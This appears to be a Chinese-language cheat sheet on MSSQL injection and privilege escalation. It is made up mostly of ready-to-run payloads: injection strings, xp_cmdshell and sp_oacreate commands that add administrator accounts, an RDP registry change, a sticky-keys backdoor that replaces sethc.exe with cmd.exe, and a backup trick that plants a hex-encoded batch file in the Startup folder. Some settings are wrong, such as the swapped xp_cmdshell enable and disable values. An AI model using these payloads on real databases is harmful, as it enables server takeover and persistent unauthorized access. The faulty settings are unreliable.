mssql提权
一、mssql
mssql ===> Microsoft sql server
mssql 默认的管理员权限的用户名叫做sa
1. mssql基础语句
create database xxx 创建数据库
create table 创建表
使用use 来使用特定的数据库
select * from 库名.表名.字段名
mssql 不存在limit语法
使用top 语法,来实现limit功能
注释:
/**/
-- 1
函数:
select db_name(); 数据库名
select user; 用户
select @@version 版本
2. mssql注入
(1) 联合查询注入 需要注意的点: union 字段个数一致 字段的数据类型相同
(2) 报错注入 and 1=db_name()
convert(int,@@version)
(3) 布尔注入 if(1=1) begin xxx end
(4) 时间注入 if (1=1) waitfor delay '00:xx:xx'
(5) 堆叠注入 xxx;xxx;
读取所有的库名 select * from master.dbo.sysdatabases
读取特定库下的表名 sysobjects
读取字段名 syscolumns
http://127.0.0.1:8005/less-1.asp?id=1'union%20select%20db_name(),2,3--%201
select * from users where id=-1 and 1=convert(int,db_name())-- 1
select * from users where id=-1 and 1=file_name(@@version)-- 1
select * from users where id=-1 and 1=db_name(@@version)-- 1
select * from users where id=-1 and 1=col_name(@@version,1)-- 1
select * from users where id=-1 and 1=object_name(@@version)-- 1
select * from users where id=-1 and 1=schema_name(@@version)-- 1
select * from users where id = 1 and ascii(substring(username,2,1))=117 -- 1
select * from test.dbo.sysobjects where xtype='U'
select top 1 col_name(object_id('test.dbo.users'),3) from sysobjects
SELECT * from SysColumns WHERE id=Object_Id('test.dbo.users')
一、xp_cmdshell
查看是否存在 xp_cmdshell(返回非0即存在)
select count(*) from master.dbo.sysobjects where xtype='x'and name='xp_cmdshell';
查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell'whoami';
开启xp_cmdshell:
exec sp_configure'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',0;RECONFIGURE;
关闭xp_cmd_shell:
exec sp_configure'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;
二、xp_regwrite
使用xp_regread 读取注册表中的键的值
使用xp_regwrite 往注册表中写入键值
Exec master..xp_regread 'HKEY_CURRENT_USER', 'Control Panel\Desktop\', 'CursorBlinkRate'
Exec master..xp_regwrite 'HKEY_CURRENT_USER', 'Control Panel\Desktop\', 'bihuo','REG_SZ', 'bihuo15'
通过往注册表写入值,来开启3389端口
通过将1修改为0 开启3389端口
Exec master..xp_regwrite 'HKEY_LOCAL_MACHINE', 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD', 1
三、trigger触发器
sql server trigger 触发器
当执行特定的某些sql语句的操作时 此时才会执行特定的某些命令
创建一个触发器 名为bihuo15
当对users表进行update操作时
此时执行打开计算器的指令
create trigger [bihuo15]
on [users]
after update as
begin
execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
增删改查:
update users set username = 'bihuo15' where id = 1
insert into users('id','username','password')values(14,'1','1')
select * from users
delete from users where id = 1
四、sp_oacreate
1. sp_configure配置
修改sp_configure配置
EXEC sp_configure'show advanced options',1;
RECONFIGURE;
EXEC sp_configure'Ole Automation Procedures', 1;
RECONFIGURE;
2. 利用sp_oacreate方法
声明一个shell类型的变量 数据类型为int
创建一个wscript.shell 类型的对象 将其放置到shell变量中
sp_oamethod,调用方法,调用wscript.shell 中的run方法
declare @shell int
exec sp_oacreate'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'
exec sp_oacreate'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'
五、sql server 代理执行计划
winserver 2003 的 SQL server管理工具
C:\WINDOWS\system32\cmd.exe /c whoami > C:/123.txt
以命令行的方式创建作业
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'cmdExec', @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
六、沙盒提权(sandbox)
沙盒提权利用的是xp_regwrite向注册表里面新增信息
关闭沙盒模式 然后利用oled模块中的shell方法执行命令
(1) exec sp_configure'show advanced options',1;reconfigure;
(2) exec sp_configure'Ad Hoc Distributed Queries',1;reconfigure;
(3) exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
(4) select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user bihuo15 bihuo15 /add")')
七、粘滞键劫持(sethc.exe)
粘滞键是由sethc.exe控制着,连续按shift键5下
利用sethc.exe 替换文件提权
system32目录下存在sethc.exe
dllcache目录保存了sethc的备份文件
替换这两个目录下的sethc.exe
利用oa_create 创建一个filesystemobject类型的对象
再调用其中的copyfile 方法进行文本的覆盖
替换c:\windows\system32\下的sethc.exe
declare @o int
exec sp_oacreate'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\system32\cmd.exe','c:\windows\system32\sethc.exe';
替换c:\windows\system32\dllcache\sethc.exe
declare @oo int
exec sp_oacreate'scripting.filesystemobject', @oo out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\cmd.exe','c:\windows\system32\dllcache\sethc.exe';
八、差异备份劫持
利用数据库前后的差别来形成对应的备份文件
alter database [test] set RECOVERY FULL
create table bihuo15(data image)
backup log [test] to disk ='c:\suibian' with init
insert into bihuo15 (data) values(0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D6
96E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202
F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)
backup log [test] to disk ='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat'